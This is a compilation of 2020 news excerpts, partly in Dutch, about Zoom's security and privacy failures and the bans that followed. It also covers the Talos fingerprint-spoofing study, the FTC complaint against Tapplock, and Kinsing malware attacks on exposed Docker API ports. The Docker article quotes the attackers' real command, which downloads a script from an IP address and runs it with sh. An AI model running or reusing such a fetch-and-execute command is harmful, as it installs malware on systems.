US senators have been advised not to use videoconferencing platform Zoom over security concerns, the Financial Times reports.

According to three people briefed on the matter, the Senate sergeant-at-arms – whose job it is to run law enforcement and security on the Capitol – told senators to find alternative methods for remote working, although he did not implement an outright ban.

With the coronavirus outbreak forcing millions to work from home, Zoom has seen a 1,900% increase in use between December and March to 200 million daily users. This has been accompanied by a string of bad press about its security and privacy practices, to the point where CEO Eric Yuan was forced to publicly apologize last week.

This week the company admitted to “mistakenly” routing data through China in a bid to secure more server space to deal with skyrocketing demand. “We failed to fully implement our usual geo-fencing best practices. As a result, it is possible certain meetings were allowed to connect to systems in China, where they should not have been able to connect,” Yuan said.

The news sparked outrage among some senators, and Senate Democrat Richard Blumenthal called for the FTC to launch an investigation into the company.

“As Zoom becomes embedded in Americans’ daily lives, we urgently need a full & transparent investigation of its privacy and security,” the senator tweeted.

The slew of privacy issues has also prompted the Taiwanese government to ban its officials from using Zoom, and Google banned use of the app on work computers due to its “security vulnerabilities.”

While the Senate has told its members to stay away from Zoom, the Pentagon told the FT that it would continue to allow its staff to use the platform. A memo sent to top cybersecurity officials from the Department of Homeland Security said that the company was being responsive when questioned about concerns over the security of its software, Reuters reported.

Source: The US Senate reportedly advised members to stop using Zoom

Singapore has suspended the use of video-conferencing tool Zoom by teachers after “very serious incidents” in the first week of a coronavirus lockdown that has seen schools move to home-based learning.

FILE PHOTO: FILE PHOTO: Zoom logo is seen in front of diplayed coronavirus disease (COVID-19) in this illustration taken March 19, 2020. REUTERS/Dado Ruvic/Illustration

One incident involved obscene images appearing on screens and strange men making lewd comments during the streaming of a geography lesson with teenage girls, media said.

Zoom Video Communications Inc (ZM.O) has faced safety and privacy concerns over its conferencing app, use of which has surged in offices and schools worldwide after they shut to try and curb virus infections.

“These are very serious incidents,” Aaron Loh of the education ministry’s technology division said on Friday, without giving details.

“The Ministry of Education (MOE) is currently investigating both breaches and will lodge a police report if warranted.

“As a precautionary measure, our teachers will suspend their use of Zoom until these security issues are ironed out.”

Loh said they ministry would further advise teachers on security protocols, such as requiring secure log-ins and not sharing the meeting link beyond the students in the class.

Source: Singapore stops teachers using Zoom app after ‘very serious incidents’ – Reuters

PIJNACKER – Het Stanislascollege in Pijnacker stopt per direct met het gebruik van de video-app Zoom voor het geven van online lessen. De school heeft meerdere berichten ontvangen van leerlingen, ouders en docenten dat er tijdens de lessen beelden of teksten te zien zijn die niet door de beugel kunnen.

Woensdag besloot het Zoetermeerse Erasmus College ook onmiddellijk te stoppen met Zoom, nadat leerlingen pornobeelden te zien kregen tijdens een online les. Het Stanislascollege heeft zes scholen, verdeeld over Delft, Pijnacker en Rijswijk.

‘In de meeste gevallen lijken de beelden of teksten getoond te worden door personen die niet aan de school verbonden zijn en zich onrechtmatig toegang hebben verschaft tot de les’, schrijft de school in een brief aan ouders.

Hitler-snorretje tijdens les Duits

Volgens regiodirecteur Fons Loogman van Stichting Lucas Onderwijs, waar het Stanislascollege onder valt, zijn er kleine incidenten geweest. ‘Leerlingen sturen een uitnodigingslink door aan derden die dan ook mee kunnen kijken met de les, daar heb je dan geen controle op. Zo is er bijvoorbeeld tijdens een les Duits ergens een Hitlergroet of een Hitler-snorretje getoond.’

Het incident met pornobeelden in Zoetermeer was voor de school in Pijnacker echter de doorslag om te stoppen met Zoom. ‘Daarnaast werden we de afgelopen week al attent gemaakt op berichten uit de ICT-wereld dat Zoom niet veilig is. Zo verzamelen ze informatie, zijn er onveilige beveiligingsstructuren en is het makkelijk te hacken’, zegt Loogman.

Source: Stanislascollege Pijnacker stopt ook met Zoom door ‘beelden die niet door de beugel kunnen’ – Omroep West

ZOETERMEER – Leerlingen van een klas van het Zoetermeerse Erasmus College hebben woensdagochtend, tijdens een les via de video-app Zoom, pornobeelden te zien gekregen. De school is onmiddellijk gestopt met het gebruik van Zoom.

‘We snappen dat jullie ontzettend geschrokken zijn’, schrijft de school in een mail aan de betreffende leerlingen. ‘We hebben natuurlijk direct alle Zoom-lessen stopgezet en gaan kijken naar een andere methode om thuis les te geven.’

Directeur-bestuurder Roderik Rot bevestigt dat er pornografische beelden te zien zijn geweest en dat om die reden alle lessen zijn gestopt. ‘Ja, er is één klas geweest, waarbij daarvan kort sprake was.’ Om hoeveel leerlingen het gaat kan Rot niet zeggen: ‘Een klas bestaat nooit uit meer dan dertig leerlingen en meestal is het bij die online lessen zo dat niet alle leerlingen erbij zijn.’ Op de vraag om welke les het ging, wil hij uit privacyoverwegingen niet ingaan. De school bood leerlingen aan om indien gewenst contact op te nemen met een hulpteam, maar daarvan is voor zover bekend door niemand gebruik gemaakt.

Gestopt met online lessen

Het Erasmus College is nu dus meteen gestopt met Zoom. Volgens Rot had de school dat al in gang gezet. Een externe privacyadviseur had al gezegd dat Zoom, onder strikte voorwaarden, te gebruiken was, maar dat hij toch andere programma’s adviseerde. ‘Dus we hebben gisteren de ouders allemaal bericht dat we gaan overstappen naar iets anders. En dat we daar druk mee bezig zijn.’

[…]

ID’s onveilig gedeeld

Volgens het Delftse cybersecuritybedrijf Fox-IT is het onwaarschijnlijk dat Zoom zelf is gehackt. Security-expert Sanne Maasakkers: ‘Zoom is een heel groot softwarebedrijf waar iedere dag veel mensen met de beveiliging bezig zijn.’ Volgens Maasakkers is het aannemelijker dat uitnodigingscodes in handen terecht zijn gekomen van mensen die niet op de vergadering zijn uitgenodigd.

Iedere deelnemer krijgt zo’n ID. Als die niet is beveiligd met een wachtwoord, dan kunnen buitenstaanders inbreken in een Zoom-meeting, wat met een wachtwoord veel moeilijker is, tenzij een deelnemer zelf is gehackt.

Source: Porno tijdens online les van Zoetermeerse school: ‘Onwaarschijnlijk dat Zoom is gehackt’ – Omroep West

Nee, het is niet echt ‘gehackt’ in die zin dat het zo’n slechte beveiliging heeft dat je gewoon een  ID in kan voeren en daar lukraak porno naar kan sturen.

For decades, the use of fingerprints to authenticate users to computers, networks, and restricted areas was (with a few notable exceptions) mostly limited to large and well-resourced organizations that used specialized and expensive equipment. That all changed in 2013 when Apple introduced TouchID. Within a few years, fingerprint-based validation became available to the masses as computer, phone, and lock manufacturers added sensors that gave users an alternative to passwords when unlocking the devices.

Further Reading

Bypassing TouchID was “no challenge at all,” hacker tells Ars

Although hackers managed to defeat TouchID with a fake fingerprint less than 48 hours after the technology was rolled out in the iPhone 5S, fingerprint-based authentication over the past few years has become much harder to defeat. Today, fingerprints are widely accepted as a safe alternative over passwords when unlocking devices in many, but not all, contexts.

A very high probability

A study published on Wednesday by Cisco’s Talos security group makes clear that the alternative isn’t suitable for everyone—namely those who may be targeted by nation-sponsored hackers or other skilled, well-financed, and determined attack groups. The researchers spent about $2,000 over several months testing fingerprint authentication offered by Apple, Microsoft, Samsung, Huawei, and three lock makers. The result: on average, fake fingerprints were able to bypass sensors at least once roughly 80 percent of the time.

The percentages are based on 20 attempts for each device with the best fake fingerprint the researchers were able to create. While Apple Apple products limit users to five attempts before asking for the PIN or password, the researchers subjected the devices to 20 attempts (that is, multiple groups of from one or more attempts). Of the 20 attempts, 17 were successful. Other products tested permitted significantly more or even an unlimited number of unsuccessful tries.

Tuesday’s report was quick to point out that the results required several months of painstaking work, with more than 50 fingerprint molds created before getting one to work. The study also noted that the demands of the attack—which involved obtaining a clean image of a target’s fingerprint and then getting physical access to the target’s device—meant that only the most determined and capable adversaries would succeed.

“Even so, this level of success rate means that we have a very high probability of unlocking any of the tested devices before it falls back into the PIN unlocking,” Talos researchers Paul Rascagneres and Vitor Ventura wrote. “The results show fingerprints are good enough to protect the average person’s privacy if they lose their phone. However, a person that is likely to be targeted by a well-funded and motivated actor should not use fingerprint authentication.”

Source: Attackers can bypass fingerprint authentication with an ~80% success rate | Ars Technica

Google has banned the popular videoconferencing software Zoom from its employees’ devices, BuzzFeed News has learned. Zoom, a competitor to Google’s own Meet app, has seen an explosion of people using it to work and socialize from home and has become a cultural touchstone during the coronavirus pandemic.

Last week, Google sent an email to employees whose work laptops had the Zoom app installed that cited its “security vulnerabilities” and warned that the videoconferencing software on employee laptops would stop working starting this week.

“We have long had a policy of not allowing employees to use unapproved apps for work that are outside of our corporate network,” Jose Castaneda, a Google spokesperson, told BuzzFeed News. “Recently, our security team informed employees using Zoom Desktop Client that it will no longer run on corporate computers as it does not meet our security standards for apps used by our employees. Employees who have been using Zoom to stay in touch with family and friends can continue to do so through a web browser or via mobile.”

Source: Google Bans Zoom Videoconferencing Software From Employees’ Computers

A padlock—whether it uses a combination, a key, or “smart” tech—has exactly one job: to keep your stuff safe so other people can’t get it. Tapplock, Inc., based in Canada, produces such a product. The company’s locks unlock with a fingerprint or an app connected by Bluetooth to your phone. Unfortunately, the Federal Trade Commission said, the locks are full of both digital and physical vulnerabilities that leave users’ stuff, and data, at risk.

The FTC’s complaint (PDF) against Tapplock, released Monday, basically alleges that the company misrepresented itself, because it marketed its products as secure and tested when they were neither. A product—any product—simply being kind of crappy doesn’t necessarily fall under the FTC’s purview. Saying untrue things about your product in your advertisement or privacy policy, however, will make the commission very unhappy with you indeed.

“We allege that Tapplock promised that its Internet-connected locks were secure, but in fact the company failed to even test if that claim was true,” Andrew Smith, director of the FTC’s Bureau of Consumer Protection, said in a written statement. “Tech companies should remember the basics—when you promise security, you need to deliver security.”

Tapplock’s advertisements say its flagship product, the Tapplock One, can store up to 500 user fingerprints and can be connected to an “unlimited” number of devices through the app—a design optimized for something many people need to be able to access and for which handing off a physical key is impractical. To make the $99 lock work, Tapplock collects a great deal of personal information on its users, including usernames, email addresses, profile photos, location history, and the precise location of a user’s lock.

[…]

The lock may be built with “7mm reinforced stainless steel shackles, strengthened by double-layered lock design with anti-shim and anti-pry technologies,” as Tapplock’s website promises, but according to the FTC, perhaps it should have considered anti-screwdriver technologies. As it turns out, a researcher was able to unlock the lock “within a matter of seconds” by unscrewing the back panel. Oops.

The complaint also pointed to several “reasonably foreseeable” software vulnerabilities that the FTC alleges Tapplock could have avoided if the company “had implemented simple, low-cost steps.”

One vulnerability security researchers identified allowed a user to bypass the account authentication process entirely in order to gain full access to the account of literally any Tapplock user, including their personal information. And how could this happen? “A researcher who logged in with a valid user credential could then access another user’s account without being re-directed back to the login page, thereby allowing the researcher to circumvent Respondent’s authentication procedures altogether,” the complaint explains.

A second vulnerability allowed researchers the ability to access and unlock any lock they could get close enough to with a working Bluetooth connection. That’s because Tapplock “failed to encrypt the Bluetooth communication between the lock and the app,” leaving the data wide open for the researchers to discover and replicate.

The third vulnerability outlined in the complaint also has to do with a failure to secure communication data. That app that allows “unlimited” connections? The primary owner can of course add and revoke authorized users from the lock. But someone whose access was revoked could still access the lock because the vulnerability allowed for sniffing out the relevant data packets.

How’d this happen?

And how did Tapplock fail to discover any of these weaknesses? Because the company did not have a security program prior to the third-party researchers’ discoveries, the FTC alleges.

Source: Easy-to-pick “smart” locks gush personal data, FTC finds | Ars Technica

Zoom has been banned from government business in Taiwan in the latest setback for the hugely popular video-calling app.

It follows revelations that some Zoom traffic was “mistakenly” routed through China, which does not recognise Taiwan’s independence.

Taiwan’s government said public bodies should not use products with security concerns “such as Zoom”.

But competitors like Google and Microsoft were acceptable, it said.

China considers Taiwan a breakaway rebel province, destined to be reunited with the mainland.

Last week, researchers discovered that some traffic from the video-calling app was being sent through Beijing – even when all participants on the Zoom call were in North America.

The team from University of Toronto’s Citizen Lab also highlighted that Zoom has several hundred employees in mainland China, which “could also open up Zoom to pressure from Chinese authorities”.

Zoom said the traffic was “mistakenly” routed through Beijing, and apologised.

Despite the response from Zoom, Taiwan has told its public institutions to use other software.

Where possible, domestic solutions should be used, it said, adding that in special circumstances, Google or Microsoft’s apps were acceptable. Those firms operate the Duo and Skype services respectively.

It is the latest blow to Zoom, which has exploded in popularity during the coronavirus pandemic, resulting in increased scrutiny.

Source: Zoom banned by Taiwan’s government over China security fears – BBC News

Some Docker installations are getting hammered by malware skiddies hoping to mine digital cash using other people’s CPU time.

Infosec outfit Aqua – no, not the Barbie Girl band – said miscreants have spotted that a decent number of Docker deployments are lazily or inadvertently exposing the daemon API port to the public internet with no protection. It’s a fairly common error that hackers have exploited in the past to mine digital coins, although lately we’re told there have been thousands of infection attempts daily via this interface, all involving a piece of Linux malware dubbed Kinsing.

“These are the highest numbers we’ve seen in some time, far exceeding what we have witnessed to date,” noted researcher Gal Singer this week.

“We therefore believe that these attacks are directed by actors with sufficient resources and the infrastructure needed to carry out and sustain such attacks, and that this is not an improvised endeavor.”

If an open system is found, the attacker tells it to create and run a custom Ubuntu container that executes the following command:

/bin/bash -c apt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 142.44.191.122/d.sh | sh;tail -f /dev/null

The fetched d.sh script disables SELINUX security protections, as well as searches out and removes any other malware or cryptomining containers already running on the infected machine. That way it won’t have to compete for CPU time. It uses crontab to ensure it stays running every minute, and a bunch of other stuff: it’s 600 lines long.

The script also downloads the Kinsing malware proper, and runs it. This software nasty tries to make contact with one of four command and control servers in Eastern Europe for any special orders to carry out on the infected system. It also runs a script, called spre.sh, that uses any SSH keys it finds to log into and spread to other machines to run its code.

“The spre.sh shell script that the malware downloads is used to laterally spread the malware across the container network,” Aqua’s Singer said.

“In order to discover potential targets and locate the information it needs to authenticate against, the script passively collects data from /.ssh/config, .bash_history, /.ssh/known_hosts, and the likes. We did not identify any active scanning techniques used to identify additional targets.”

Once that is done, the mining component of the malware is finally executed.

A diagram of the attack process
click to enlarge

The Register has pinged Docker for comment on the attacks. In the meantime, Singer and Aqua recommend blocking the IP addresses linked to this outbreak. It’s also highly recommended you don’t leave the daemon API port facing the internet, and use policies and configurations to limit what systems are allowed to talk to the interface.

“Identify all cloud resources and group them by some logical structure,” said the team. “Review authorization and authentication policies, basic security policies, and adjust them according to the principle of least privilege. Investigate logs, mostly around user actions, look for actions you can’t account for anomalies.” ®

Source: If you don’t cover your Docker daemon API port you’ll have a hell of a time… because cryptocreeps are hunting for it • The Register

After many schools adopted Zoom to conduct online lessons during the coronavirus lockdown, concerns about security and privacy have led to a ban on the video conferencing software across the US.

The chancellor of New York City’s Department of Education Richard A Carranza sent an email to school principals telling them to “cease using Zoom as soon as possible”. And he is not alone; schools in other parts of the country have taken similar action, and educators are now being trained to use Microsoft Teams as this has been suggested as a suitable alternative, partly because it is compliant with FERPA (Family Educational Rights and Privacy Act).

See also:

• Zoom enables meeting passwords and virtual waiting rooms by default as it attempts to beef up security
• Zoom admits to routing some US calls through China
• How to lock down Zoom to improve your privacy and security

Large numbers of teachers spent time learning how to use Zoom to continue educating pupils who are confined to their homes. But growing criticism of Zoom for its approach to privacy and security has given cause for a rethink. Documents seen by Chalkbeat show that principals in NYC have been told: “Based on the DOE’s review of those documented concerns, the DOE will no longer permit the use of Zoom at this time”.

The Washington Post quotes Danielle Filson, spokesperson for the NYC Education Department, as saying:

Providing a safe and secure remote learning experience for our students is essential, and upon further review of security concerns, schools should move away from using Zoom as soon as possible. There are many new components to remote learning, and we are making real-time decisions in the best interest of our staff and student. We will support staff and students in transitioning to different platforms such as Microsoft Teams that have the same capabilities with appropriate security measures in place.

The Post also reports that Clark County Public Schools in Nevada were also moving away from Zoom, saying in a statement that the decision had been taken to ” disable access to Zoom out of an abundance of caution due to instances of hacking that created unsafe environments for teachers and students”.

Schools in Utah, Washington state and beyond are also looking into Zoom alternatives.

Source: American schools are banning Zoom and switching to Microsoft Teams